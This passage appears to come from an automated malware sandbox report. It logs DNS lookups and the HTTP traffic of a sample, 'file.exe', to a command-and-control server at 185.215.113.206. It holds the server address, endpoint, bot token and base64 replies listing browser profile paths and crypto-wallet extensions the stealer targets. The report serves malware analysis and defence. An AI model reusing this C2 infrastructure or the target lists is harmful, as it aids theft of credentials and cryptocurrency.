Oct 29, 2024 02:46:32.229963064 CET	192.168.2.5	1.1.1.1	0x458	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:32.241458893 CET	192.168.2.5	1.1.1.1	0x5321	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.242110014 CET	192.168.2.5	1.1.1.1	0x2428	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:33.734018087 CET	192.168.2.5	1.1.1.1	0xde80	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.734139919 CET	192.168.2.5	1.1.1.1	0x3724	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:33.734385967 CET	192.168.2.5	1.1.1.1	0xab40	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.734499931 CET	192.168.2.5	1.1.1.1	0x11a6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 02:46:33.745160103 CET	192.168.2.5	1.1.1.1	0x3422	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.745552063 CET	192.168.2.5	1.1.1.1	0xdf01	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 02:46:15.736358881 CET	1.1.1.1	192.168.2.5	0xf5d6	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 02:46:15.736409903 CET	1.1.1.1	192.168.2.5	0x3b9a	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:20.351496935 CET	1.1.1.1	192.168.2.5	0xdb98	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:20.351496935 CET	1.1.1.1	192.168.2.5	0xdb98	No error (0)	plus.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:20.352408886 CET	1.1.1.1	192.168.2.5	0x6dc1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:21.330807924 CET	1.1.1.1	192.168.2.5	0xca7f	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:28.807423115 CET	1.1.1.1	192.168.2.5	0xfea0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:28.807755947 CET	1.1.1.1	192.168.2.5	0xafee	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:29.287265062 CET	1.1.1.1	192.168.2.5	0x74d4	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:29.287265062 CET	1.1.1.1	192.168.2.5	0x74d4	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:29.287452936 CET	1.1.1.1	192.168.2.5	0x87a0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:30.272279978 CET	1.1.1.1	192.168.2.5	0xdad0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:30.273369074 CET	1.1.1.1	192.168.2.5	0x6e6c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:31.561264992 CET	1.1.1.1	192.168.2.5	0xe54c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:31.561264992 CET	1.1.1.1	192.168.2.5	0xe54c	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:31.561517000 CET	1.1.1.1	192.168.2.5	0x363a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.224450111 CET	1.1.1.1	192.168.2.5	0xdd5a	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.224450111 CET	1.1.1.1	192.168.2.5	0xdd5a	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.224450111 CET	1.1.1.1	192.168.2.5	0xdd5a	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.224450111 CET	1.1.1.1	192.168.2.5	0xdd5a	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:32.236552954 CET	1.1.1.1	192.168.2.5	0xb51a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.236972094 CET	1.1.1.1	192.168.2.5	0x28e3	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.237006903 CET	1.1.1.1	192.168.2.5	0x458	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.238851070 CET	1.1.1.1	192.168.2.5	0x3e85	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.248640060 CET	1.1.1.1	192.168.2.5	0x5321	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:32.249572039 CET	1.1.1.1	192.168.2.5	0x2428	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:33.741086006 CET	1.1.1.1	192.168.2.5	0xde80	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.741086006 CET	1.1.1.1	192.168.2.5	0xde80	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.741261005 CET	1.1.1.1	192.168.2.5	0x3724	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 02:46:33.741683006 CET	1.1.1.1	192.168.2.5	0xab40	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.741683006 CET	1.1.1.1	192.168.2.5	0xab40	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.742079020 CET	1.1.1.1	192.168.2.5	0x11a6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 02:46:33.753582954 CET	1.1.1.1	192.168.2.5	0xdf01	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 02:46:33.753613949 CET	1.1.1.1	192.168.2.5	0x3422	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.753613949 CET	1.1.1.1	192.168.2.5	0x3422	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:33.754204988 CET	1.1.1.1	192.168.2.5	0x3a7e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:33.754204988 CET	1.1.1.1	192.168.2.5	0x3a7e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:34.500231981 CET	1.1.1.1	192.168.2.5	0x8204	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 02:46:34.500231981 CET	1.1.1.1	192.168.2.5	0x8204	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 29, 2024 02:46:34.500267029 CET	1.1.1.1	192.168.2.5	0x1298	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 02:46:06.190824986 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 02:46:07.091721058 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:07.094504118 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 42 37 42 39 38 33 45 43 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"ECB7B983EC503012343576------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"tale------IDHIEGIIIECAKEBFBAAE--
Oct 29, 2024 02:46:08.202054977 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 35 4f 54 68 6d 5a 44 4e 6c 5a 6d 45 77 59 6d 55 30 4f 57 59 30 4e 6a 59 78 4e 44 64 69 4e 57 51 30 4d 44 68 68 4e 47 4d 33 4e 6a 64 6a 4d 47 46 6c 59 57 56 6d 4e 44 49 31 59 7a 63 78 5a 57 59 78 4f 54 51 31 4e 32 4d 32 4f 44 6c 6d 4d 7a 41 32 5a 44 6c 6c 4f 57 4d 77 5a 6a 64 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM5OThmZDNlZmEwYmU0OWY0NjYxNDdiNWQ0MDhhNGM3NjdjMGFlYWVmNDI1YzcxZWYxOTQ1N2M2ODlmMzA2ZDllOWMwZjdifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 02:46:08.202136040 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 35 4f 54 68 6d 5a 44 4e 6c 5a 6d 45 77 59 6d 55 30 4f 57 59 30 4e 6a 59 78 4e 44 64 69 4e 57 51 30 4d 44 68 68 4e 47 4d 33 4e 6a 64 6a 4d 47 46 6c 59 57 56 6d 4e 44 49 31 59 7a 63 78 5a 57 59 78 4f 54 51 31 4e 32 4d 32 4f 44 6c 6d 4d 7a 41 32 5a 44 6c 6c 4f 57 4d 77 5a 6a 64 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM5OThmZDNlZmEwYmU0OWY0NjYxNDdiNWQ0MDhhNGM3NjdjMGFlYWVmNDI1YzcxZWYxOTQ1N2M2ODlmMzA2ZDllOWMwZjdifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 02:46:08.202332020 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 35 4f 54 68 6d 5a 44 4e 6c 5a 6d 45 77 59 6d 55 30 4f 57 59 30 4e 6a 59 78 4e 44 64 69 4e 57 51 30 4d 44 68 68 4e 47 4d 33 4e 6a 64 6a 4d 47 46 6c 59 57 56 6d 4e 44 49 31 59 7a 63 78 5a 57 59 78 4f 54 51 31 4e 32 4d 32 4f 44 6c 6d 4d 7a 41 32 5a 44 6c 6c 4f 57 4d 77 5a 6a 64 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM5OThmZDNlZmEwYmU0OWY0NjYxNDdiNWQ0MDhhNGM3NjdjMGFlYWVmNDI1YzcxZWYxOTQ1N2M2ODlmMzA2ZDllOWMwZjdifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 02:46:08.226224899 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"browsers------BGCAFHCAKFBFIECAFIIJ--
Oct 29, 2024 02:46:08.405781031 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 4d 35 4f 54 68 6d 5a 44 4e 6c 5a 6d 45 77 59 6d 55 30 4f 57 59 30 4e 6a 59 78 4e 44 64 69 4e 57 51 30 4d 44 68 68 4e 47 4d 33 4e 6a 64 6a 4d 47 46 6c 59 57 56 6d 4e 44 49 31 59 7a 63 78 5a 57 59 78 4f 54 51 31 4e 32 4d 32 4f 44 6c 6d 4d 7a 41 32 5a 44 6c 6c 4f 57 4d 77 5a 6a 64 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDM5OThmZDNlZmEwYmU0OWY0NjYxNDdiNWQ0MDhhNGM3NjdjMGFlYWVmNDI1YzcxZWYxOTQ1N2M2ODlmMzA2ZDllOWMwZjdifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 02:46:08.684792995 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 02:46:08.684829950 CET	112	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFU
Oct 29, 2024 02:46:08.684868097 CET	944	IN	Data Raw: 51 53 56 63 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: QSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcXFByb2d
Oct 29, 2024 02:46:08.686892033 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECGIIIDAKJDHJKFHIEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 2d 2d 0d 0a Data Ascii: ------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------JECGIIIDAKJDHJKFHIEBContent-Disposition: form-data; name="message"plugins------JECGIIIDAKJDHJKFHIEB--
Oct 29, 2024 02:46:08.970814943 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra